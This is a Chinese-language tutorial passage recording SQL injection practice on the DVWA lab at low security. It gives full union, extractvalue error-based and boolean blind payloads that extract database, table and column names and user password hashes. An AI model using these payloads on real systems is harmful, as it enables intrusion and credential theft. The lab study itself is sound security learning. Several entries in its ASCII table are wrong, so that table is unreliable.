一 判断是数字型注入还是字符型注入
在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)
输入 1 and 1=1查询有两种情况: ①数字型注入 a.输入内容没有被网站做任何处理,能查询到; b.输入内容被网站做任何处理(比如id是int类型,语句对id的值加了引号处理),通过隐式转换还是能查询到; ②字符型注入:查询不到;
输入1 and 1=2查询有两种情况: ①数字型注入 a.输入内容没有被网站做任何处理,查询不到; b.输入内容被网站做任何处理(比如id是int类型,语句对id的值加了引号处理),通过隐式转换还是能查询到; ②字符型注入:查询不到; |
以下操作练习以后端查语句和前台payload组合对照一步步理清注入过程。
免责声明 本文仅是个人对SQL注入的学习测试过程记录,不具有恶意引导意向。 |
二 联合注入
分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程
前提:dvwa安全等级设置为low
联合注入过程:
1.判断是否存在注入,注入是字符型还是整数型 2.猜解SQL查询语句中的字段数(order by) 3.确定显示位 4.获取当前数据库(爆库) 5.获取数据库中的表(爆表) 6.获取表中的字段名(爆字段) 7.下载数据(爆数据) |
注意:union 和union all的区别
使用select 1,2演示union 和union all的区别(字段名是1和2) |
||
select 1,2; |
select 1,2 union select 1,2; |
select 1,2 union all select 1,2; |
说明:以下章节的联合注入没有使用union all
2.1 爆破库名
用户表(辅助熟悉爆破过程):user_id是int类型
Dvwa靶场(low)(辅助熟悉爆破过程)
Sql注入源码:user_id的值用单引号做了处理
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; |
简单查询(辅助熟悉爆破过程):
查询为空:1' and 1=2# |
有查询结果: 1' or 1=2# |
基于此场景做联合查询爆破
2.1.1 后端查询
select database(); 说明:确认当前库 |
select first_name,last_name from users where user_id='1'; 说明:配合前端菜单根据查询id获取用户名 |
select first_name,last_name from users where user_id='1' union select 1,2; |
select first_name,last_name from users where user_id='-1' union select 1,2; 说明1:user_id取一个不可能存在的值,使查询结果只显示占位符 说明2:之所以使查询结果只显示占位符,因为前端页面显示限制可能回显不了太多内容,尽量使查询回显减少 |
select first_name,last_name from users where user_id='-1' union select user(),database(); |
2.1.2 前台查询
1' union select 1,2# 说明1:源码:WHERE user_id = '$id' 说明2:需要逃逸原有的引号范围,使联合语句生效回显查询结果; 说明3:1后边的引号使$id前边的引号闭合,#使$id后边的引号被注释 说明4:#是sql语句中的注释,注释后边的内容 |
1 union select 1,2 说明1:虽然有查询回显,是因为user_id本身是int类型;同时源码中对user_id的值做了引号处理'1 union select 1,2',使输入整体是个字符串,mysql做隐式抓换,取'1 union select 1,2'字符串前几位中非字符的字符串转换为int类型,实际查询的是user_id='1' |
-1' union select 1,2# |
|
2.1.3 组合前后端语句
前端:-1' union select 1,2# 后端:select first_name,last_name from users where user_id='-1' union select user(),database(); |
组合成前端payload:-1' union select user(),database()# |
前端查询payload:-1' union select user(),database()# 说明:配合union联合注入实现user()和database()查询回显 |
2.2 爆破表名
MySQL 5.0以上版本,存在一个自带的数据库名为:information_schema(重点)。
information_schema数据库中有三个表非常重要:
SCHEMATA:表里包含所有数据库的名字 TABLES:表里包含所有数据库的所有表 COLUMNS:表里包含所有数据库的所有表的所有字段 |
三个列非常重要:
TABLE_SCHEMA:数据库名 TABLE_NAME:表名 COLUMN_NAME:字段名 |
2.2.1 后端查询
SCHEMATA表信息:包含所有数据库的名字(依据2.1.3章节已获知库名:dvwa)
mysql> use information_schema |
desc SCHEMATA; 说明:表结构 |
select SCHEMA_NAME from SCHEMATA; 说明:所有数据库的库名 |
select group_concat(schema_name) from schemata; 说明:合并列的输出为一行 |
TABLES:表里包含所有数据库的所有表
desc TABLES; 说明:表结构 |
select TABLE_SCHEMA,TABLE_NAME from TABLES where TABLE_SCHEMA='dvwa'; 说明:dvwa库里的所有表名 |
select TABLE_SCHEMA,group_concat(TABLE_NAME) from TABLES where TABLE_SCHEMA='dvwa'; 说明:合并dvwa库里的表名列为一行 |
COLUMNS:表里包含所有数据库的所有表的所有字段
desc COLUMNS; 说明:表结构 |
select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'; 说明:dvwa库里users表里的所有字段 |
select TABLE_SCHEMA,TABLE_NAME,group_concat(COLUMN_NAME) from COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'; 说明:dvwa库的users表所有列名合并为一行 |
use dvwa; select first_name,last_name from users where user_id='1' union select 1,2; 说明:联合查询配合占位符 |
2.2.2 前台查询
Payload:1' union select 1,2# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' union select 1,2#; 说明:源码代入联合注入后端查询效果 |
2.2.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' union select 1,2#; |
后端: select TABLE_SCHEMA,group_concat(TABLE_NAME) from TABLES where TABLE_SCHEMA='dvwa'; 组合前后端语句后: >use dvwa >select first_name,last_name from users where user_id='1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='dvwa'#; |
>use dvwa >select first_name,last_name from users where user_id='-1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='dvwa'#; 说明1:user_id=’-1’减少union联合查询中左侧查询的输出 说明2:#是sql语句中的注释,注释后边的内容 |
最终:组合前后端语句的payload: -1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='dvwa'# |
2.3 爆破字段名
2.3.1 后端查询
information_schema库里COLUMNS表:表里包含所有数据库的所有表的所有字段
(依据2.2.3章节已获知库dvwa中的表users)
desc COLUMNS; 说明:表结构 |
select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'; 说明:dvwa库里users表里的所有字段 |
select TABLE_SCHEMA,TABLE_NAME,group_concat(COLUMN_NAME) from COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'; 说明:dvwa库的users表所有列名合并为一行 |
2.3.2 前台查询
Payload:1' union select 1,2# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' union select 1,2#; 说明:源码代入联合注入后端查询效果 |
2.3.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' union select 1,2#; |
后端: select TABLE_SCHEMA,TABLE_NAME,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'; |
组合前后端语句后: select first_name,last_name from users where user_id='1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'#; |
select first_name,last_name from users where user_id='-1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'#; 说明1:user_id=’-1’减少union联合查询中左侧查询的输出 说明2:#是sql语句中的注释,注释后边的内容 |
最终:组合前后端语句的payload: -1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'# |
2.4 爆破数据
依据2.1.3,2.2.3,2.3.3章节爆破出的库名dvwa,表名users,字段名:
(user_id,first_name,last_name,user,password,avatar,last_login,failed_login),着重关注获取user和password字段的值
2.4.1 后端查询
select first_name,last_name from users where user_id='1' union select user,password from dvwa.users; |
select first_name,last_name from users where user_id='-1' union select user,password from dvwa.users; 说明:user_id='-1' 查询一个不存在的id,减少union左侧的输出,只保留union右侧的输出 |
2.4.2 前台查询
Payload:1' union select 1,2# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' union select 1,2#; 说明:源码代入联合注入后端查询效果 |
2.4.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' union select 1,2#; |
后端: select first_name,last_name from users where user_id='-1' union select user,password from dvwa.users; |
组合前后端语句后: select first_name,last_name from users where user_id='-1' union select user,password from dvwa.users#; 说明1:user_id=’-1’减少union联合查询中左侧查询的输出 说明2:#是sql语句中的注释,注释后边的内容 |
最终:组合前后端语句的payload: -1' union select user,password from dvwa.users# |
2.4.4 MD5解码说明
从2.4.3章节悉知password字段值是32位MD5加密,可用通过internet上一些MD5解码工具解码出MD5的值(MD5本质是hash是不可逆,MD5解码工具本质是存在一个密码字典,收集了可能的、常用的密码,通过对密码字典每个值做MD5加密比对,得出逆向值,所以如果工具没有解码出某个MD5值,说明工具的密码字典内没有对应的字符串值)
三 报错注入
注意1:报错注入是根据制造报错使注入语句查询结果随报错信息一起回显,但是报错信息的长度往往是有限制的,显示的报错信息不是无限长的 |
注意2:另如果程序做了处理了,前台不回显报错日志,那么报错注入将无法实现 |
注意3:本次练习是在dvwa靶场Low级别环境,可以完成报错注入练习 |
报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点,如果不符合数据库函数语法规则就会报错并返回错误信息。
常用的特殊字符:' \ ; %00 ) ( # " |
在MySQL高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数,这两个函数常用于报错注入:(原因:当这两个函数在执行时,如果出现XML文档路径错误就会产生报错。)
①extractvalue(XML_document,xpath_string) 此函数从目标XML文档中返回包含所查询值的字符串,如果string参数不符合xpath的语法就会报错,将查询结果放在报错信息里,即extractvalue函数报错时会解析SQL语句。 第一个参数:string格式,为XML文档对象的名称; 第二个参数:xpath_string(xpath格式的字符串),为XML文档的路径; extractvalue使用时若xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax error) 由于0x7e(十六进制)就是~,~不属于xpath语法格式,因此报出xpath语法错误。 |
②updatexml(XML_document,xpath_string,new_value) 三个参数关注第二个参数xpath_string,和extractvalue类似 |
3.0 extractvalue示例
select first_name,last_name from users where user_id='1' and extractvalue(1,'2'); 说明1:查询正常,有记录输出 |
select first_name,last_name from users where user_id='1' and extractvalue(1,'a'); 说明:查询正常,无记录输出 |
select first_name,last_name from users where user_id='1' and extractvalue(1,'?'); select first_name,last_name from users where user_id='1' and extractvalue(1,'@'); select first_name,last_name from users where user_id='1' and extractvalue(1,'~'); 说明:语法报错:Xpath syntax error |
select first_name,last_name from users where user_id='1' and extractvalue(1,0x7e); 说明:0x7e是‘~’的十六进制形式 |
select 1,extractvalue(1,'2'); |
select user from users where extractvalue(1,'2') is false; select user from users where extractvalue(1,'2') is true; 说明:从结果来看,extractvalue(1,'2')的结果为true; |
3.1 爆破库名
3.1.1 后端查询
①select extractvalue(1,0x7e); |
② select extractvalue(1,database()); 说明:database()函数作为extractvalue()函数的参数没有报错 |
③ select extractvalue(1,user()); 说明1:此处可看出extractvalue第二个参数user()函数被正常执行了,由于user()函数输出中包含特殊符号“@”,被判xpath格式错误,执行语句报错 |
④select extractvalue(1,concat(0x7e,database())); 说明1:extractvalue()函数支持2个参数,参考②③,需要在暴库时把database()查询结果变为错误结果输出,这里使用concat()函数,把0x7e(‘~’)和database()结果组合起来作为一个参数,通过特殊符号’~’参数报错,把database()结果通过报错显示出来 |
3.1.2 前台查询
Payload:1' and 1=1# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' and 1=1#; 说明:源码代入联合注入后端查询效果 |
3.1.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' and 1=1#; |
后端:select extractvalue(1,concat(0x7e,database())); |
组合查询语句: select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,database()))#; |
最终:组合前后端语句的payload: 1' and extractvalue(1,concat(0x7e,database()))# |
3.2 爆破表名
MySQL 5.0以上版本,存在一个自带的数据库名为:information_schema(重点)。
information_schema数据库中有三个表非常重要:
SCHEMATA:表里包含所有数据库的名字 TABLES:表里包含所有数据库的所有表 COLUMNS:表里包含所有数据库的所有表的所有字段 |
三个列非常重要:
TABLE_SCHEMA:数据库名 TABLE_NAME:表名 COLUMN_NAME:字段名 |
3.2.1 后端查询
方法一:
①select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa'; |
②select count(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa'; 说明:dvwa库的表数量 |
③select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa'; 说明:dvwa库的表名称 |
④select extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa'))); 说明1:concat()函数的第二个参数是一条完整sql语句,需要括号括起来 说明2:配合extractvalue()函数制造报错:XPATH syntax error: ‘~guestbook,users’ |
方法二:
①select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa'; |
②select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 0,1; |
③select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1,1 |
④select extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1,1))); |
3.2.2 前台查询
Payload:1' and 1=1# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' and 1=1#; 说明:源码代入联合注入后端查询效果 |
3.2.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' and 1=1#; |
后端1: select extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa'))); |
后端2: select extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1,1))); |
组合查询语句1: select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa')))#; |
组合查询语句2: select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1,1)))#; |
最终:组合前后端语句的payload1: ①1' and extractvalue(1,concat(0x7e,(select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA='dvwa')))# |
最终:组合前后端语句的payload2: ②1' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1,1)))# |
3.2.4 burp辅助爆破
通过burp拦截包,repeater复制发包,把3.2.3章节的payload1转为url编码send出去
①3.2.3章节payload1转换为url编码 %31%27%61%6e%64%20%65%78%74%72%61%63%74%76%61%6c%75%65%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%54%41%42%4c%45%5f%4e%41%4d%45%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%27%64%76%77%61%27%29%29%29%23 |
②抓包拦截重新组包并发送 |
3.3 爆破字段名
3.3.1 后端查询
①select column_name from information_schema.columns where table_schema='dvwa' and table_name='users'; 说明:根据information_schema.columns表获取dvwa库users表的字段名 |
②select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'; 说明:group_concat()函数合并查询结果 |
③select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'; 说明:查询dvwa库users表中字段名数量 |
④select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1; 说明:使用limit x,y 分别取出字段名 |
⑤select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'))); 说明:从报错截图看出,报错内容长度有限制,sql报错注入查询内容太长无法显示完整 |
⑥select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))); 说明:推荐使用limit x,y方式一个一个获取字段名 |
3.3.2 前台查询
Payload:1' and 1=1# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' and 1=1#; 说明:源码代入联合注入后端查询效果 |
3.3.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' and 1=1#; |
后端: select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))); |
组合后查询语句: select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))#; |
最终:组合前后端语句的payload: 1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))# |
3.4 爆破数据
3.4.1 后端查询寻
①select user from users where user_id='1'; |
②select password from users where user_id='1'; |
③select length(password) from users where user_id='1'; |
④select extractvalue(1,concat(0x7e,(select user from users where user_id='1'))); 说明:制造报错输入user_id=1的user值 |
⑤select extractvalue(1,concat(0x7e,(select password from users where user_id='1'))); 说明1:制造报错输入user_id=1的password值 说明2:报错输出的password值长度显然没有③步骤统计的字符长度长(受报错信息长度限制输出不完整) |
⑥使用substr(目标,n,m)分段对目标字段值报错注入获取 select extractvalue(1,concat(0x7e,(select substr(password,1,16) from users where user_id='1'))); select extractvalue(1,concat(0x7e,(select substr(password,17,16) from users where user_id='1'))); |
3.4.2 前台查询
Payload:1' and 1=1# |
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 说明:源码 |
select first_name,last_name from users where user_id='1' and 1=1#; 说明:源码代入联合注入后端查询效果 |
3.4.3 组合前后端语句
前端:select first_name,last_name from users where user_id='1' and 1=1#; |
后端: select extractvalue(1,concat(0x7e,(select substr(password,1,16) from users where user_id='1'))); select extractvalue(1,concat(0x7e,(select substr(password,17,16) from users where user_id='1'))); |
组合后查询语句: select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select substr(password,1,16) from users where user_id='1')))#; |
select first_name,last_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select substr(password,17,16) from users where user_id='1')))#; |
最终:组合前后端语句的payload: 1' and extractvalue(1,concat(0x7e,(select substr(password,1,16) from users where user_id='1')))# |
1' and extractvalue(1,concat(0x7e,(select substr(password,17,16) from users where user_id='1')))# |
四 问题总结
4.1 extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
在 EXTRACTVALUE函数中,'~'(波浪号)字符在参数位置的表现取决于该字符在 XML 和 XPath上下文中的意义和用法。EXTRACTVALUE函数通常用于从XML数据中提取信息,它接受两个参数:一个XML数据片段和一个XPath表达式。(internet上查证如下:)
●参数1(XML 数据片段): 这个参数应该包含有效的 XML 数据。 如果 '~' 是这个参数的一部分,并且 XML 解析器能够处理它(例如,如果它是 XML 数据中的一个合法字符,比如作为文本内容的一部分),那么它通常不会导致错误。但是,如果 '~' 破坏了 XML 的结构(比如,如果它出现在标签名、属性名或不应该出现的地方),那么 XML 解析器会报错。 ●参数2(XPath 表达式): 这个参数应该是一个有效的 XPath 表达式。 XPath 表达式遵循特定的语法规则,'~' 并不是 XPath 语法中的一部分。如果 '~' 出现在 XPath 表达式中,并且不符合 XPath 的语法规则,那么 XPath 解析器会报错。 |
①select extractvalue('<book>shuxue</book>','/book'); 说明:正常语句 |
②select extractvalue('<book>shuxue~</book>','/book'); 说明:‘~’作为XML文本内容的一部分,匹配XPATN表达输出正常 |
③select extractvalue('<book>shuxue</~book>','/book'); 说明:‘~’作为XML标签的组成部分,匹配XPATH表达式输出为NULL,好像也不算报错 |
④select extractvalue('<book>shuxue</book>','/book~'); 说明:‘~’作为XPATH表达式的组成部分,不符合规范,产生报错 |
4.2 报错注入中,为什么要突破单引号的限制,如何突破?
关于此问题,仅结合本文第三章节涉及的SQL报错注入点现象做分析描述(第三章节涉及的注入点是dvwa靶场Low等级下的注入点,是Get方式)
根据第一章内容分析,以上章节涉及的注入点是数字注入中的第二种情况:输入内容被网站做任何处理,通过隐式转换还是能查询到;(当然根据靶场中该注入点源码也可以看出程序对用户输入做了单引号处理)
不突破单引号限制,那么用户的报错注入语句就会被单引号引起来,失去其原来的语义,作为普通字符串处理。
突破单引号的方法是在注入语句中输入拼接单引号,使变量左侧的单引号闭合,再跟上报错注入语句,最后加上注释符(#)使变量右侧的引号失去意义,避免触发语法错误。
4.3 在报错注入过程中,为什么要进行报错,是哪种类型的报错?
关于此问题,仅结合本文第三章节涉及的SQL报错注入点现象做分析描述(第三章节涉及的注入点是dvwa靶场Low等级下的注入点,是Get方式)
报错注入过程进行报错是为了使注入代码的查询结果能够随报错内容显示出来,以达到获取信息的目的(报错注入常结合extractvalue(XML_document,xpath_string)函数或updatexml(XML_document,xpath_string,new_value)函数)。
本文第三章报错注释使用了extractvalue(XML_document,xpath_string)函数,针对第二个参数xpath表达式规范不支持特殊符号‘~’而生成报错提示回显完成注入获取信息。
五 盲注
盲注有布尔盲注和时间盲注。
布尔盲注:只会根据注入信息返回True或者False,没有之前的查询信息或者报错信息。
时间盲注:界面返回值只有一种 True,无论输入任何值,返回情况都会按正常来处理。加入特定的时间函数,通过查看WEB页面返回的时间差来判断注入的语句是否正确。
注意:通过盲注最终实现获取数据的过程,耗时巨久 |
以下以布尔盲注展开练习。
环境:dvwa靶场LOW级别练习场景
盲注点:
分析是数字型注入还是字符型注入:根据输入以下内容总是放回:“User ID exists in the database.”或“User ID is MISSING from the database.”。
序号 |
User ID输入语句 |
结果 |
① |
1 |
exists |
② |
1 and 1=1 |
exists |
③ |
1 and 1=2 |
exists |
④ |
1' and 1=1# |
exists |
⑤ |
1' and 1=2# |
MISSING |
根据②③结果(参考第一章节)判断是数字型注入的第二种情况:输入内容被网站做任何处理(比如id是int类型,语句对id的值加了引号处理),通过隐式转换还是能查询到;
根据④⑤结果判断存在SQL布尔盲注。
盲注思想:由于布尔盲注没有明显回显提示,只有true和false,所以需要先确定库名长度(length()函数)(二分法),在通过截取(substr())函数取出每一位字符再转换为ascii码值与ascii码表比较大小确认每一位字符。 |
常用ASCII码表
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
ASCII值 |
控制字符 |
32 |
(space) |
56 |
8 |
80 |
P |
104 |
h |
33 |
! |
57 |
9 |
81 |
Q |
105 |
i |
34 |
" |
58 |
: |
82 |
R |
106 |
j |
35 |
# |
59 |
; |
83 |
S |
107 |
k |
36 |
$ |
60 |
< |
84 |
T |
108 |
l |
37 |
% |
61 |
= |
85 |
U |
109 |
m |
38 |
& |
62 |
> |
86 |
V |
110 |
n |
39 |
, |
63 |
? |
87 |
W |
111 |
o |
40 |
( |
64 |
@ |
88 |
X |
112 |
p |
41 |
) |
65 |
A |
89 |
Y |
113 |
q |
42 |
* |
66 |
B |
90 |
Z |
114 |
r |
43 |
+ |
67 |
C |
91 |
[ |
115 |
s |
44 |
, |
68 |
D |
92 |
/ |
116 |
t |
45 |
- |
69 |
E |
93 |
] |
117 |
u |
46 |
. |
70 |
F |
94 |
^ |
118 |
v |
47 |
/ |
71 |
G |
95 |
_ |
119 |
w |
48 |
0 |
72 |
H |
96 |
、 |
120 |
x |
49 |
1 |
73 |
I |
97 |
a |
121 |
y |
50 |
2 |
74 |
J |
98 |
b |
122 |
z |
51 |
3 |
75 |
K |
99 |
c |
123 |
{ |
52 |
4 |
76 |
L |
100 |
d |
124 |
| |
53 |
5 |
77 |
M |
101 |
e |
125 |
} |
54 |
6 |
78 |
N |
102 |
f |
126 |
` |
55 |
7 |
79 |
O |
103 |
g |
127 |
DEL |
5.1 爆破库名
5.1.1 后端查询
5.1.1.1 确认库名长度
select database(); |
select length(database()); |
二分法判断库名length |
|
select length(database()) >10; |
select length(database()) >5; |
select length(database()) >3; |
select length(database()) =4; |
可以判断库名长度为4 |
5.1.1.2 确定库名每一位字符
substr(strings|express,num start,num length); strings|express:被截取的字符串或字符串表达式;start为起始位置;length为长度 |
select ascii(substr(database(),1,1)) >98; |
select ascii(substr(database(),1,1)) >99; |
select ascii(substr(database(),1,1)) >100; |
select ascii(substr(database(),1,1)) =100; |
判断出库名的第一个字符为d;以此类推获取库名为dvwa |
5.1.2 前台查询
Payload:1' and 1=1# |
源码:SELECT first_name, last_name FROM users WHERE user_id = '$id'; |
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
5.1.3 组合前后端语句
5.1.3.1 确认库名长度
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端:select length(database()) =4; |
组合前后端语句: SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database()) =4#'; |
最终:组合前后端语句的payload: 1' and length(database()) =4# |
5.1.3.2 确认库名每一个字符
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端:select ascii(substr(database(),1,1)) =100; |
组合前后端语句: SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr(database(),1,1)) =100#'; |
最终:组合前后端语句的payload: 1' and ascii(substr(database(),1,1)) =100#' |
以此类推得出库名为dvwa |
5.2 爆破表名
5.2.1 后端查询
5.2.1.1 确认表数量
select count(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database(); |
5.2.1.2 确认每个表的长度
以users表为例
①select length(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
①select length(TABLE_NAME)=5 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
②select length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)); |
②select length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)) =5; |
两种写法都可以获取表长度为5 |
5.2.1.3 确定表名的每一个字符
以users表为例
①select ascii(substr(TABLE_NAME,1,1)) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
①select ascii(substr(TABLE_NAME,1,1))=117 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
②select ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1),1,1)); |
②select ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1),1,1)) =117; |
两种写法都可以获取表第一个字符为117-u,以此类推得出表名users |
5.2.2 前台查询
Payload:1' and 1=1# |
源码:SELECT first_name, last_name FROM users WHERE user_id = '$id'; |
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
5.2.3 组合前后端语句
5.2.3.1 确认表数量
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端: select count(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database(); |
组合前后端语句:两种 |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database())=2#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(TABLE_NAME)=2 from information_schema.tables where TABLE_SCHEMA=database())#'; |
最终:组合前后端语句的payload:两种 |
①1' and (select count(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database())=2# |
②1' and (select count(TABLE_NAME)=2 from information_schema.tables where TABLE_SCHEMA=database())# |
利用二分法确认表的数量是2;(步骤中没有体现二分法的一一列举,可自行调整“=2”的参数验证) |
5.2.3.2 确认表的长度
以表users为例
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端1: select length(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
后端2: select length(TABLE_NAME)=5 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
后端3: select length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)) =5; |
组合前后端语句:三种 |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select length(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)=5#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select length(TABLE_NAME)=5 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)#'; |
③SELECT first_name, last_name FROM users WHERE user_id = '1' and length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)) =5#'; |
最终:组合前后端语句的payload:三种 |
①1' and (select length(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)=5# |
②1' and (select length(TABLE_NAME)=5 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)# |
③1' and length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)) =5# |
依据二分法,以此类推得出表名的长度为5;(步骤中没有体现二分法的一一列举,可自行调整“=5”的参数验证) |
5.2.3.3 确认表名的每一个字符
以表users为例
前端:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; |
后端1: select ascii(substr(TABLE_NAME,1,1)) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1 |
后端2: select ascii(substr(TABLE_NAME,1,1))=117 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1; |
后端3: select ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1),1,1)) =117; |
组合前后端语句:三种 |
①SELECT first_name, last_name FROM users WHERE user_id = '1' and (select ascii(substr(TABLE_NAME,1,1)) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)=117#'; |
②SELECT first_name, last_name FROM users WHERE user_id = '1' and (select ascii(substr(TABLE_NAME,1,1))=117 from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)#'; |
③SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 1,1),1,1)) =117#'; |
最终:组合前后端语句的payload:三种 |
①1' and (select ascii(substr(TABLE_NAME,1,1)) from information_schema.tables where TABLE_SCHEMA=database() limit 1,1)=117# |
